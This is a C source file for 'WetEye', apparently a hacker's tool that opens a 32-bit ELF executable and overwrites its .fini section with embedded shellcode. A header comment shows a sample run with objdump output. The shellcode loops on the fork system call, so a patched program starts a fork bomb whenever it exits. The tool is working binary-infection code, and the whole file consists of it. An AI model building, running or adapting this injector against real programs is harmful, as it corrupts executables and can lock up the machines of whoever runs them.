/*
 * WetEye - .fini c0de inject0r (overwriter)
 *
 * ELF Specification 1.2 Says:
 * .fini: This section holds executable instructions that contribute to the process
 *        termination code. When a program exits normally, the system executes the
 *        code in this section.

nitr0us@v0rtex:~$ gcc elf_weteye.c -o elf_weteye
nitr0us@v0rtex:~$ gcc foo.c
nitr0us@v0rtex:~$ objdump -j .fini -d ./a.out
 08048454 <_fini>:
 8048454:       55                      push   %ebp
 8048455:       89 e5                   mov    %esp,%ebp
 8048457:       53                      push   %ebx
 8048458:       e8 ab fe ff ff          call   8048308 <__i686.get_pc_thunk.bx>
 804845d:       81 c3 07 11 00 00       add    $0x1107,%ebx
 8048463:       83 ec 04                sub    $0x4,%esp
 8048466:       e8 a1 fe ff ff          call   804830c <__do_global_dtors_aux>
 804846b:       83 c4 04                add    $0x4,%esp
 804846e:       5b                      pop    %ebx
 804846f:       5d                      pop    %ebp
 8048470:       c3                      ret
nitr0us@v0rtex:~$ ./elf_weteye
Usage: ./elf_weteye <elf_file>
nitr0us@v0rtex:~$ ./elf_weteye ./a.out
>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>> WetEye - .fini c0de inject0r (overwriter) <<<<<<<
>>>>>>>>>>>>>>>>>>>>>  by nitr0us  <<<<<<<<<<<<<<<<<<<<<<

>> Mapping file (6883 bytes)    [OK]    (0xb7fb5000)
>> Searching for .shstrtab      [FOUND] (at offset 0xc78)
>> Searching for .fini          [FOUND] (at offset 0x454)
>> .fini' size < c0de' size     [OK]
>> Overwriting with 'c0de'      [OK]
nitr0us@v0rtex:~$ objdump -j .fini -d ./a.out
 08048454 <_fini>:
 8048454:       32 c0                   xor    %al,%al
 8048456:       b0 02                   mov    $0x2,%al
 8048458:       cd 80                   int    $0x80
 804845a:       eb fc                   jmp    8048458 <_fini+0x4>
 804845c:       ff 81 c3 07 11 00       incl   0x1107c3(%ecx)
...

 * nitr0us
 * nitrousenador .at. gmail .dot. com
 */
#include<elf.h>
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/mman.h>
#include<sys/stat.h>

char	c0de[] = 
	/* Hehehe ! */
	"\x32\xc0"	//	0: xor	eax, eax
	"\xb0\x02"	//	2: mov	al, 2
	"\xcd\x80"	//	4: int	80h
	"\xeb\xfc";	//	6: jmp	4

void usage(const char *);
int elf_identification(int);
Elf32_Shdr *section(const char *, char *, int);

int main(int argc, char **argv)
{
	int		fd, strtab_offset, k;
	char		*elfptr;
	struct stat	statinfo;
	Elf32_Ehdr	header;
	Elf32_Shdr	*fini, strtab_section;

	if(argc != 2)
		usage(argv[0]);

	if((fd = open(argv[1], O_RDWR)) == -1){
		perror("open");
		exit(-1);
	}

	if(!elf_identification(fd)){
		fprintf(stderr, "This is not a supported ELF file\n");
		exit(-1);
	}

	printf(">>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n");
	printf(">>>>>>> WetEye - .fini c0de inject0r (overwriter) <<<<<<<\n");
	printf(">>>>>>>>>>>>>>>>>>>>>  by nitr0us  <<<<<<<<<<<<<<<<<<<<<<\n\n");

	if(fstat(fd, &statinfo) == -1){
		perror("stat");
		close(fd);
		exit(-1);
	}

	printf(">> Mapping file (%d bytes)\t", statinfo.st_size);
	if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
		printf("[FAILED]\n");
		perror("mmap");
		close(fd);
		exit(-1);
	}
	printf("[OK]\t(%p)\n", elfptr);

	close(fd);

	header = *(Elf32_Ehdr *) elfptr;
	if(header.e_type != ET_EXEC){
		fprintf(stderr, "This is not an executable file\n");
		munmap(elfptr, statinfo.st_size);
		exit(-1);
	}

	strtab_section = *(Elf32_Shdr *) (elfptr + header.e_shoff + header.e_shstrndx * sizeof(Elf32_Shdr));
	strtab_offset  = strtab_section.sh_offset;
	printf(">> Searching for .shstrtab\t[FOUND]\t(at offset 0x%x)\n", strtab_offset);

	printf(">> Searching for .fini\t\t");
	if((fini = section(".fini", elfptr, strtab_offset)) == NULL){
		printf("[NOT FOUND]\n");
		munmap(elfptr, statinfo.st_size);
		exit(-1);
	}
	printf("[FOUND]\t(at offset 0x%x)\n", fini->sh_offset);

	printf(">> .fini' size < c0de' size\t");
	if(fini->sh_size < sizeof(c0de) - 1){
		printf("[FAILED]\n");
		munmap(elfptr, statinfo.st_size);
		exit(-1);
	}
	printf("[OK]\n");

	printf(">> Overwriting with 'c0de'\t");
	memcpy(elfptr + fini->sh_offset, c0de, sizeof(c0de) - 1);

	if(msync(NULL, 0, MS_SYNC) == -1){
		printf("[FAILED]\n");
		perror("msync");
		munmap(elfptr, statinfo.st_size);
		exit(-1);
	}
	printf("[OK]\n");

	munmap(elfptr, statinfo.st_size);
	return 0;
}

void usage(const char *self)
{
	fprintf(stderr, "Usage: %s <elf_file>\n", self);
	exit(0);
}

int elf_identification(int fd)
{
	Elf32_Ehdr	header;

	if(read(fd, &header, sizeof(header)) == -1){
		perror("elf_identification: read");
		return 0;
	}

	/* magic number verification */
	if(header.e_ident[EI_MAG0] != ELFMAG0 ||
			header.e_ident[EI_MAG1] != ELFMAG1 ||
			header.e_ident[EI_MAG2] != ELFMAG2 ||
			header.e_ident[EI_MAG3] != ELFMAG3){
		fprintf(stderr, "elf_identification: Invalid MAGIC Number\n");
		return 0;
	}

	/* 32-bit class verification */
	if(header.e_ident[EI_CLASS] != ELFCLASS32){
		fprintf(stderr, "elf_identification: This is not a 32-bit class object\n");
		return 0;
	}

	/* endianess verification */
	if(header.e_ident[EI_DATA] != ELFDATA2LSB){
		fprintf(stderr, "elf_identification: This is not a little-endian object\n");
		return 0;
	}

	/* elf version verification */
	if(header.e_ident[EI_VERSION] != EV_CURRENT){
		fprintf(stderr, "elf_identification: Invalid ELF version\n");
		return 0;
	}

	return 1;
}

Elf32_Shdr *section(const char *name, char *mem, int strtab_offset)
{
	int		k, strndx;
	Elf32_Ehdr	*header;
	Elf32_Shdr	*section;

	header = (Elf32_Ehdr *) mem;

	for(k = 0, strndx = 0;k < header->e_shnum; k++){
		section = (Elf32_Shdr *) (mem + header->e_shoff + strndx);
		if(strcmp((mem + strtab_offset + section->sh_name),name) == 0)
			return section;

		strndx += sizeof(Elf32_Shdr);
	}

	return NULL;
}
